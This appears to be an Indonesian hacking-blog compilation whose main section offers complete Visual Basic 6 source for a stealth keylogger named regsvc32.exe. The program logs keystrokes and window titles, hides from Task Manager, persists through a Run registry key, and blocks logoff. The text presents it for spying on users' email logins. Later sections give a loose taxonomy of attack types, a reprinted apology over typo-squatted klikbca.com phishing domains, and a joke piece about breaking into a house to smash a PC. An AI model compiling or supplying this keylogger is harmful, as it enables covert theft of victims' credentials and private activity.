Keylogger

Mungkin kita semua sudah sering mendengar tentang KeyLogger. Yeah.. KeyLogger adalah software yg mencatat gerak-gerik, atau aktifitas tombol yg kita tekan pada keyboard di sebuah Komputer. KeyLogger kemudian mencatat semua informasi pada sebuah catatan(LOG). Hmm.. dengan keylogger ini kita bisa mengetahui aktivitas user. Misalnya aja user habis buka E-mail, kamu bakalan tau ID-nya si User
Okay… berikut ini source code KeyLogger yang bisa kamu compile pake VB6. Kita hanya butuh sebuah timer dan module.
Yang perlu diperhatikan :
1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:
(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).
2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)
3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)
4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig
5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad
6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user …
======= code mulai ==========================
’simpan file hasil compile dg nama regsvc32.exe
‘form
’simpan dg nama FRMLOG.frm
Option Explicit
Private Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long
Private sAppName As String
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Private Const VK_BACK = &H8
Private Const VK_CONTROL = &H11
Private Const VK_SHIFT = &H10
Private Const VK_TAB = &H9
Private Const VK_RETURN = &HD
Private Const VK_MENU = &H12
Private Const VK_ESCAPE = &H1B
Private Const VK_CAPITAL = &H14
Private Const VK_SPACE = &H20
Private Const VK_SNAPSHOT = &H2C
Private Const VK_UP = &H26
Private Const VK_DOWN = &H28
Private Const VK_LEFT = &H25
Private Const VK_RIGHT = &H27
Private Const VK_MBUTTON = &H4
Private Const VK_RBUTTON = &H2
Private Const VK_LBUTTON = &H1
Private Const VK_PERIOD = &HBE
Private Const VK_COMMA = &HBC
Private Const VK_NUMLOCK = &H90
Private Const VK_NUMPAD0 = &H60
Private Const VK_NUMPAD1 = &H61
Private Const VK_NUMPAD2 = &H62
Private Const VK_NUMPAD3 = &H63
Private Const VK_NUMPAD4 = &H64
Private Const VK_NUMPAD5 = &H65
Private Const VK_NUMPAD6 = &H66
Private Const VK_NUMPAD7 = &H67
Private Const VK_NUMPAD8 = &H68
Private Const VK_NUMPAD9 = &H69
Private Const VK_F9 = &H78
Private Const VK_F8 = &H77
Private Const VK_F7 = &H76
Private Const VK_F6 = &H75
Private Const VK_F5 = &H74
Private Const VK_F4 = &H73
Private Const VK_F3 = &H72
Private Const VK_F2 = &H71
Private Const VK_F12 = &H7B
Private Const VK_F11 = &H7A
Private Const VK_F10 = &H79
Private Const VK_F1 = &H70
Private Sub LoadTextFile()
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & “settings.ini” For Input As #1
Line Input #1, sAppName
Close
Else
Open App.Path & “\settings.ini” For Input As #1
Line Input #1, sAppName
Close
End If
If sAppName = vbNullString Then
sAppName = “regsvc32″
End If
Exit Sub
dlgerror:
sAppName = “regsvc32″
End Sub
Private Sub SAVEDLL()
Dim nSaveLocation As String
On Error GoTo dlgerror
If Len(App.Path) <= 3 Then
Open App.Path & sAppName & “.dll” For Append As #1
nSaveLocation = App.Path & sAppName & “.dll”
GoTo READY
Else
Open App.Path & “\” & sAppName & “.dll” For Append As #1
nSaveLocation = App.Path & “\” & sAppName & “.dll”
GoTo READY
End If
READY:
If txtLOGGED.Text = vbNullString Then
Exit Sub
End If
Print #1, Time & ” ” & Date & vbCrLf & “Size: ” & Format(FileLen(nSaveLocation) / 1000000, “.0″) & ” MB” & vbCrLf & “*** PROGRAMS OPENED ***” & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf
Close
Close
Close
SetAttr nSaveLocation, vbHidden
Exit Sub
dlgerror:
Err.Clear
Exit Sub
End Sub
Private Sub Form_Load()
On Error Resume Next
Call LoadTextFile
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = sAppName
ENTERREGISTRY
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub ENTERREGISTRY()
Dim nKey As Long
RegCreateKey LOCALMACHINE, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, nKey
If Len(App.Path) <= 3 Then
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & “.exe”, Len(App.Path & App.EXEName & “.exe”)
Else
RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & “\” & App.EXEName & “.exe”, Len(App.Path & “\” & App.EXEName & “.exe”)
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
Call SAVEDLL
ENTERREGISTRY
Unload Me
End
End Sub
Private Sub tmrCAPTION_Timer()
On Error Resume Next
Me.Caption = sAppName
Me.Visible = False
App.TaskVisible = False
App.Title = False
RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
End Sub
Private Sub tmrLOG_Timer()
On Error Resume Next
Dim nKey, nChar As Integer
Dim nText As String
For nChar = 1 To 255
nKey = GetAsyncKeyState(nChar)
If nKey = -32767 Then
nText = Chr(nChar)
If nChar = VK_BACK Then
nText = ” {B.S} “
ElseIf nChar = VK_CONTROL Then
nText = ” {CTRL} “
ElseIf nChar = VK_SHIFT Then
nText = ” {SHIFT} “
ElseIf nChar = VK_TAB Then
nText = ” {TAB} “
ElseIf nChar = VK_RETURN Then
nText = ” {ENTER} “
ElseIf nChar = VK_MENU Then
nText = ” {ALT} “
ElseIf nChar = VK_ESCAPE Then
nText = ” {ESC} “
ElseIf nChar = VK_CAPITAL Then
nText = ” {CAPS} “
ElseIf nChar = VK_SPACE Then
nText = ” {SP.B} “
ElseIf nChar = VK_UP Then
nText = ” {UP} “
ElseIf nChar = VK_LEFT Then
nText = ” {LEFT} “
ElseIf nChar = VK_RIGHT Then
nText = ” {RIGHT} “
ElseIf nChar = VK_DOWN Then
nText = ” {DOWN} “
ElseIf nChar = VK_F1 Then
nText = ” {F1} “
ElseIf nChar = VK_F2 Then
nText = ” {F2} “
ElseIf nChar = VK_F3 Then
nText = ” {F3} “
ElseIf nChar = VK_F4 Then
nText = ” {F4} “
ElseIf nChar = VK_F5 Then
nText = ” {F5} “
ElseIf nChar = VK_F6 Then
nText = ” {F6} “
ElseIf nChar = VK_F7 Then
nText = ” {F7} “
ElseIf nChar = VK_F8 Then
nText = ” {F8} “
ElseIf nChar = VK_F9 Then
nText = “{F9}”
ElseIf nChar = VK_F10 Then
nText = ” {F10} “
ElseIf nChar = VK_F11 Then
nText = ” {F11} “
ElseIf nChar = VK_F12 Then
nText = ” {F12} “
ElseIf nChar = VK_SNAPSHOT Then
nText = ” {PRINT SCRN} “
ElseIf nChar = VK_RBUTTON Then
nText = ” {R.B} “
ElseIf nChar = VK_LBUTTON Then
nText = ” {L.B} “
ElseIf nChar = VK_MBUTTON Then
nText = ” {M.B} “
ElseIf nChar = VK_PERIOD Then
nText = “.”
ElseIf nChar = VK_COMMA Then
nText = “,”
ElseIf nChar = VK_NUMLOCK Then
nText = ” {NUMLCK} “
ElseIf nChar = VK_NUMPAD0 Then
nText = “0″
ElseIf nChar = VK_NUMPAD1 Then
nText = “1″
ElseIf nChar = VK_NUMPAD2 Then
nText = “2″
ElseIf nChar = VK_NUMPAD3 Then
nText = “3″
ElseIf nChar = VK_NUMPAD4 Then
nText = “4″
ElseIf nChar = VK_NUMPAD5 Then
nText = “5″
ElseIf nChar = VK_NUMPAD6 Then
nText = “6″
ElseIf nChar = VK_NUMPAD7 Then
nText = “7″
ElseIf nChar = VK_NUMPAD8 Then
nText = “8″
ElseIf nChar = VK_NUMPAD9 Then
nText = “9″
End If
txtLOGGED.Text = txtLOGGED.Text + nText
End If
Next
Call GetActiveWindowName
End Sub
Private Sub tmrSAVE_Timer()
Call SAVEDLL
txtLOGGED.Text = vbNullString
txtENUMERATE.Text = vbNullString
End Sub
====code end ===========
============code mulai ============
‘module visual basic
’simpan dg nama mdlActiveWindow.bas
Option Explicit
Public Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetForegroundWindow Lib “user32″ () As Long
Public Declare Function GetClassName Lib “user32″ Alias “GetClassNameA” (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public nCAPTION As String
Public nTESTER As Long
Public nClass As String
Public Sub GetActiveWindowName()
nCAPTION = Space(256)
nClass = Space(256)
GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)
GetClassName GetForegroundWindow, nClass, Len(nClass)
If nTESTER = GetForegroundWindow Then Exit Sub
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & ” ” & nCAPTION
FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass
nTESTER = GetForegroundWindow
End Sub
============ code end ==========

Jenis Jenis Serangan

Jenis Jenis Serangan
Dalam dunia hacking (tepatnya cracking ding!?) dikenal beberapa jenis serangan terhadap
server. Berikut ini jenis-jenis serangan dasar yang dapat dikelompokkan dalam minimal 6
kelas, yaitu:
Intrusion
———
Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat
menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted
dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk
menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam
skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).
Hacking is an Art!? =)
Denial of Services (DoS)
————————
Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran
request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS)
misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting
request pada server secara serentak asimetris dan simultan sehingga buffer server akan
kelabakan menjawabnya!? Stuck/hung akan menimpa server. Jadi bukan server lagi namanya!?
(servicenya mati masak dibilang server? hehehe….)
Joyrider
——–
Nah, ini namanya serangan iseng!? Karena kebanyakan baca novel-novel hacking dan gak bisa
belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat
(istilahnya ‘onani’ dimesin orang). Atau dengan alasan pengen tau isinya mesin orang!? =).
Yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe
menyebabkan kerusakan atau kehilangan data.
Vandal
——
Jenis serangan spesialis pengrusak!? nothing else to explain mbah!? =)
Scorekeeper
———–
Serangan yang bertujuan mencapai reputasi hasil cracking terbanyak. Biasanya hanya
berbentuk deface halaman web (index/nambah halaman) dengan memampangakan NickName dan
kelompok tertentu. Sebagian besar masih tidak perduli dengan isi mesin sasarannya =).
Saat ini jenis penyerang ini lebih dikenal dengan sebutan WannaBe/Script kiddies.
Spy
—
Tiga hurup saja. Jenis serangan untuk memperoleh data atau informasi rahasia dari mesin
target. Biasanya menyerang pada mesin-mesin dengan aplikasi database didalamnya. Kadang
kala suatu perusahaan menyewa ‘mata-mata’ untuk mencuri data perusahaan rivalnya!? Mau
coba Pak? =)

INTERNET BANGKING BCA DIJEBOL ??

YANG ANDA LIHAT INI BUKAN ARTIKEL MASTERWEB, MELAINKAN EMAIL PERMOHONAN MAAF SAYA KEPADA PIHAK BCA. ARTIKEL YBS TELAH DICABUT DARI PEREDARAN ATAS PERMINTAAN BCA.
Dear BCA,
Dengan ini saya:
Nama: Steven Haryanto
Alamat: ************************* , ************ 40241
Pembeli domain-domain internet berikut:
WWWKLIKBCA.COM
KILKBCA.COM
CLIKBCA.COM
KLICKBCA.COM
KLIKBAC.COM
Melalui surat ini saya secara pribadi dan tertulis menyampaikan permohonan
maaf sebesar-besarnya. Saya menyesal dan mengakui telah menimbulkan kerugian
kepada pihak BCA dan pihak pelanggan yang kebetulan masuk ke situs palsu
tersebut. Namun saya menjamin bahwa saya tidak pernah dan tidak akan
menyalahgunakan data tersebut. Bersama ini pula data user saya serahkan
kepada BCA. Sejauh pengetahuan saya, data ini tidak pernah bocor ke tangan
ketiga dan hanya tersimpan dalam bentuk terenkripsi di harddisk komputer
pribadi saya. Mohon BCA segera menindaklanjuti data ini.
Dengan ini juga saya ingin menjelaskan bahwa perbuatan ini berangkat dari
rasa keingintahuan saja, untuk mengetahui seberapa banyak orang yang
ternyata masuk ke situs plesetan tersebut. Tidak ada motif kriminal sama
sekali. Alasan nyatanya, saya bahkan memajang nama dan alamat asli saya di
domain tersebut, dan bukan alamat palsu. Sebab sejak awal pembelian saya
memang tidak berniat mencuri uang dari rekening pelanggan.
Saya tidak pernah menjebol, menerobos, atau mencoba menerobos sistem
jaringan atau keamanan milik BCA/Internet Banking BCA. Melainkan, yang saya
lakukan yaitu membeli beberapa domain plesetan dengan uang saya sendiri, dan
menyalin halaman indeks dan halaman login www.klikbca.com ke server lain.
Itu tetap suatu kesalahan, saya akui.
Saya tidak pernah mengkopi logo KlikBCA atau mengubahnya. Semua file yang
dilihat pemakai, kecuali file halaman depan dan halaman login di situs-situs
gadungan, berasal dari server aslinya di http://www.klikbca.com/.
Saya betul-betul mengharapkan apa yang telah saya perbuat ini LEBIH
BERDAMPAK AKHIR POSITIF KETIMBANG NEGATIF. Para pemakai dapat terbuka
masalahnya dan menjadi lebih sadar akan isu keamanan ini. Ingat iklan
Internet Banking Anda? “Pengamanan berlapis-lapis. SSL 128 bit…
Disertifikasi oleh Verisign… Firewall untuk membatasi akses… Userid dan
PIN.” Apakah seseorang harus menciptakan teknologi canggih, menyewa hacker
jempolan, menjebol semua teknologi pengaman itu untuk memperoleh akses ke
rekening pemakai? Tidak. Yang Anda butuhkan hanyalah 8 USD. Ironis memang.
Masalah TYPO SITE adalah MASALAH FUNDAMENTAL domain .com/.net/.org yang
tidak mungkin dihindari (kita dapat melihat database whois untuk melihat
betapa banyaknya domain plesetan-plesetan yang dibeli pihak ketiga).
Kebetulan dalam percobaan saya ini adalah klikbca.com. Semua situs-situs
online sebetulnya terancam akan masalah ini, yaitu masalah pembelian domain
salah ketik. Saat ini saya sendiri telah/akan terus berusaha untuk
menjernihkan masalah ini kepada khalayak ramai dan tidak bermaksud sama
sekali merugikan pihak BCA maupun customernya. Semua domain plesetan akan
saya serahkan kepada BCA tanpa perlu BCA mengganti biaya pendaftaran. Itu
tidak saya harapkan setimpal dengan kerugian yang mungkin telah saya
timbulkan, tapi hanya untuk menunjukkan rasa penyesalan dan permohonan maaf
saya.
Demikian surat ini dibuat. Saya lampirkan juga kepada media massa sebagai
permohonan maaf kepada publik dan akan saya taruh di situs master.web.id dan
situs lain sebagai pengganti artikel sebelumnya yang telah diminta secara
baik-baik oleh BCA untuk diturunkan.
Saya juga memohon kebijaksanaan para netter dan pembaca untuk tidak
mengacuhkan forward email yang beredar dan bernada miring. Seperti yang saya
jelaskan inilah yang terjadi dan tidak pernah ada penyalahgunaan data atau
pencurian.
Semua situs gadungan telah diganti dengan peringatan dan link ke
www.klikbca.com (situs asli). Tidak ada lagi data yang direkam. Semua domain
akan saya serahkan ke BCA. Terima kasih atas pengertian Anda semua.
Terima kasih atas pengertian Anda semua.
ARTUR HACK
WIWIN OKA

Hacking with Axe Method (buat yang belom tau)

So, you want to be a hacker.
This hacking method didn’t need any specialities at all. It’s easy to learn and easy to practice. It’s called “The Axe Method”.
Requirements:
- PC
- Internet connection
- IRC client
- Snack and Drinks
- Axe
This method only works for target that use an IRC client. I’m not recommended for target using other client than that.
Okay, i’m sure you’re ready to begin.
Here it is .. at first you must getting know the target. You know his ID, try to chat with him, getting know his daily schedules, try to get his home address also. If he is living near you, then you’re lucky. If not … well you’ll have to plan how to get to his home someday.
Okay, let’s continue …
Try to be his best friend on IRC. Dig up information about when he and his family goes on vacation. When that time comes, turn on your IRC client to make sure he isn’t online. When you are sure, then go to his home right away, but don’t turn off your IRC client, just put some message that you have to do something BIG, hacking someone. Don’t forget to bring some equipments that i’ve said before.
After arriving at his house go to his backyard, and try to enter his house. Hopefully no one is in the house, if there is someone then play dead or something. Okay, now go to his PC, turn it on and use his IRC client. Join a channel that he and you usually hang with. Chat with some friends to make sure that others know that he is online.
After that, we will begin the axe method.
Use your axe to hack his computer, hack his monitor, hack his cpu, hack his keyboard, hack his harddisk, his modem, hack em all. Don’t miss a thing that can make the pc online again. Make sure they all completely dead cos you don’t want to go back to his house again right?
Okay, after that go home right away. As fast as you can. Then go to your room and use your IRC client again. Make sure that his nickname isn’t online on IRC. If he still online, you’ll have to go back and finish the job.
After you’re sure he is not online then you can brag to your friends that you’re hacking his computer so he is quit unexpected and can’t online again. Ofcourse don’t say to them that you are using the axe method, brag it that you’re using some ICMP flooding, DoS Attack, Nuke or something. Make sure that they believing you and you’ll be famous.
Okay that’s all about hacking with the Axe Method .. hope that will inspire you … cheers